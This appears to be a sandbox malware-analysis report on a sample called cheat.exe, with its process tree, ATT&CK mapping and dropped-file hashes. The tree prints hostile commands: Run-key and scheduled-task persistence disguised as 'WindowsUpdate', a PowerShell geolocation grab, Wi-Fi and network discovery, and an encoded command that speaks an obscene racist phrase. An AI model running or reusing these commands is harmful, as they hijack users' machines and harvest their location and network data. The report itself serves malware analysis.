PID 552 wrote to memory of 2368	552	msedge.exe	166
PID 552 wrote to memory of 2024	552	msedge.exe	167
PID 552 wrote to memory of 2368	552	msedge.exe	166
PID 552 wrote to memory of 2368	552	msedge.exe	166

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\cheat.exe
"C:\Users\Admin\AppData\Local\Temp\cheat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Users\Admin\AppData\Local\Temp\kprx1469424214\cheat.exe
  C:\Users\Admin\AppData\Local\Temp\kprx1469424214\cheat.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Users\Admin\AppData\Local\Temp\NetworkServiceAssistant.exe
    "C:\Users\Admin\AppData\Local\Temp\\NetworkServiceAssistant.exe"
    3⤵
    - Executes dropped EXE
    - Modifies trusted root certificate store through registry
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Users\Admin\AppData\Local\Temp\NetworkServiceAssistant.exe
      C:\Users\Admin\AppData\Local\Temp\NetworkServiceAssistant.exe --persist-worker
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of WriteProcessMemory
      PID:2032
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c "reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v WindowsUpdate /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\" /f"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3636
      - C:\Windows\system32\reg.exe
        
        reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v WindowsUpdate /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\" /f
        6⤵
        
        PID:4384
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c "reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\" /v WindowsUpdate /f"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3436
      - C:\Windows\system32\reg.exe
        
        reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\" /v WindowsUpdate /f
        6⤵
        
        PID:1512
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c "schtasks /create /tn \"WindowsUpdate\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc onlogon /rl limited /f"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3464
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"WindowsUpdate\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc onlogon /rl limited /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4300
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c "schtasks /create /tn \"WindowsUpdateHb\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc minute /mo 10 /f"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2888
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"WindowsUpdateHb\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc minute /mo 10 /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2136
  - - C:\Users\Admin\AppData\Local\Temp\NetworkServiceAssistant.exe
      C:\Users\Admin\AppData\Local\Temp\NetworkServiceAssistant.exe --guard 3152
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of WriteProcessMemory
      PID:1832
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        5⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        
        PID:596
  - - C:\Users\Admin\AppData\Local\Temp\NetworkServiceAssistant.exe
      C:\Users\Admin\AppData\Local\Temp\NetworkServiceAssistant.exe --gravedigger 3152 1832
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of WriteProcessMemory
      PID:5928
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        5⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        Suspicious use of WriteProcessMemory
        
        PID:2964
      - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        6⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        
        PID:2780
      - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2964
        6⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        
        PID:3328
      - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2964 3328
        6⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        
        PID:3176
      - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe dxgicheck
        6⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        
        PID:4524
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c "powershell -NoProfile -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBwAGUAZQBjAGgAOwAgACQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAHAAZQBlAGMAaAAuAFMAeQBuAHQAaABlAHMAaQBzAC4AUwBwAGUAZQBjAGgAUwB5AG4AdABoAGUAcwBpAHoAZQByADsAIAAkAHMALgBTAHAAZQBhAGsAKAAnAG4AaQBnAGcAZQByACAAeQBvAHUAIABnAG8AdAAgAGIAbwBvAHQAZQBkACAAYgB5ACAAYQBnAGUAbgB0ADcANwAgAHMAdQBjAGsAIABtAHkAIABjAG8AYwBrACcAKQAAAA=="
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBwAGUAZQBjAGgAOwAgACQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAHAAZQBlAGMAaAAuAFMAeQBuAHQAaABlAHMAaQBzAC4AUwBwAGUAZQBjAGgAUwB5AG4AdABoAGUAcwBpAHoAZQByADsAIAAkAHMALgBTAHAAZQBhAGsAKAAnAG4AaQBnAGcAZQByACAAeQBvAHUAIABnAG8AdAAgAGIAbwBvAHQAZQBkACAAYgB5ACAAYQBnAGUAbgB0ADcANwAgAHMAdQBjAGsAIABtAHkAIABjAG8AYwBrACcAKQAAAA==
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3444
      - C:\Windows\system32\rundll32.exe
        
        rundll32.exe url.dll,FileProtocolHandler https://pornhub.com
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4596
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pornhub.com/
        7⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:6020
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x394,0x7ff86426c188,0x7ff86426c194,0x7ff86426c1a0
        8⤵
        
        PID:776
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1684,i,7139894557049241308,4261197015520449054,262144 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:2
        8⤵
        
        PID:1544
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1912,i,1160880551353666605,3927180655536090544,524288 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=2688 /prefetch:11
        8⤵
        System Time Discovery
        
        PID:1400
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2232,i,10125007871276477431,9739184524361165127,524288 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=3052 /prefetch:13
        8⤵
        
        PID:2336
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3604,i,9131851102437866033,10628440554772998871,2097152 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:1
        8⤵
        
        PID:4576
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,7684465921639393735,15694827398133326957,2097152 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
        8⤵
        
        PID:948
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4292,i,11730193376254649446,11373239940070495134,2097152 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
        8⤵
        
        PID:2800
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,903061142605362819,2601183427685101957,2097152 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:9
        8⤵
        
        PID:3188
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3824,i,9525150282097691627,18238415319913722157,524288 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:14
        8⤵
        
        PID:5724
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3824,i,13402962979571127635,7472549791660697564,524288 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
        8⤵
        
        PID:3364
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5376,i,14718977938928395933,11585011436160519093,524288 --field-trial-handle=2600,i,14547480283549409877,10670070604900044587,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
        8⤵
        
        PID:2248
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
        8⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:552
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x284,0x7ff86426c188,0x7ff86426c194,0x7ff86426c1a0
        9⤵
        
        PID:2272
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1520,i,1082294494621751294,4807247739575667972,262144 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:2
        9⤵
        
        PID:2368
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1756,i,12308725151753309809,2006088821719756375,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=2664 /prefetch:11
        9⤵
        System Time Discovery
        
        PID:2024
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2272,i,7911446397385505909,14073445300509417854,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:13
        9⤵
        
        PID:5556
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4424,i,15826707174328351217,16911834256078965793,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:14
        9⤵
        
        PID:2704
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4424,i,15826707174328351217,16911834256078965793,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:14
        9⤵
        
        PID:2868
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4368,i,15635702937454139185,12212185660100852453,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=4588 /prefetch:14
        9⤵
        
        PID:2860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4520,i,220054357662651612,2799337968523773217,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:14
        9⤵
        
        PID:6116
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5000,i,1026572812174767522,17994362140217038335,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:14
        9⤵
        
        PID:3508
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5012,i,3771100555420557899,10218548698633144250,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:14
        9⤵
        
        PID:2700
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5144,i,3898227158886229756,1533497040744897188,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:14
        9⤵
        
        PID:4444
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4452,i,7130204168117725488,13868508036566106685,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
        9⤵
        
        PID:3276
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4476,i,16426305280811169613,12561877972777089253,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=600 /prefetch:14
        9⤵
        
        PID:1744
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4456,i,16521392963616090707,17796578359202791785,524288 --field-trial-handle=2244,i,5782880029626639857,11616600976031665317,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:14
        9⤵
        
        PID:5860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NoLogo -NonInteractive -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Device; $w = New-Object System.Device.Location.GeoCoordinateWatcher([System.Device.Location.GeoPositionAccuracy]::High); $w.Start(); $end = (Get-Date).AddSeconds(8); $best = $null; while ((Get-Date) -lt $end) { $l = $w.Position.Location; if (-not $l.IsUnknown -and $null -ne $l.HorizontalAccuracy) { if ($null -eq $best -or $l.HorizontalAccuracy -lt $best.HorizontalAccuracy) { $best = $l }; if ($l.HorizontalAccuracy -le 15) { break } }; Start-Sleep -Milliseconds 500 }; $w.Stop(); if ($best) { $best | Select-Object @{n='lat';e={$_.Latitude}}, @{n='lon';e={$_.Longitude}}, @{n='acc';e={$_.HorizontalAccuracy}} | ConvertTo-Json -Compress }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4840
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c "netsh wlan show networks mode=bssid"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2380
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:404
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c "ipconfig /all"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2588
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        5⤵
        Gathers network information
        
        PID:244
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c "netsh wlan show profiles"
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:2640
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:400
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c "netsh wlan show networks mode=bssid"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5596
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5700

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1440
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  PID:5076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:5336

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004F8
1⤵
PID:4128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DevicesFlow -s DevicesFlowUserSvc
1⤵
PID:3132

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:5184

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4756

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3516

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7404caff-e469-4777-b0f4-d7a23aebc9db.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\7404caff-e469-4777-b0f4-d7a23aebc9db.tmp
Size 39KB
SHA256 e1a32fe55a5a4a843bc542fc7d977123c1a7b4f9fb5a5600539d4c81b64b9b9c
MD5 3f8b0003eb4bbe9fe763081c9f78eb1e
SHA1 25fdc0d7d4cc48826d9d4c69d2014cc71803b7be
SHA512 8d1206ffa086491fb1f477184592e4f6c83f6c9e565a5911a95329b7a064a83b230e1985a316a26299ab5f1ac3e1dbcf1249c6e2a33899f5f110d0abd779a3cf
SSDEEP 768:U/UxvxjgC+B3ctXYgm1rX9tDmGA5b65Q92RQMPb1Fj0O:BZj3+B3qu3AF65dQmFQO
TLSH
T1F103CF36EC90AEB3DCB99680374BB35AAFF84473C1C451E048E96E0D06C768C930B85B
MD5 SHA1 SHA512 SSDEEP TLSH
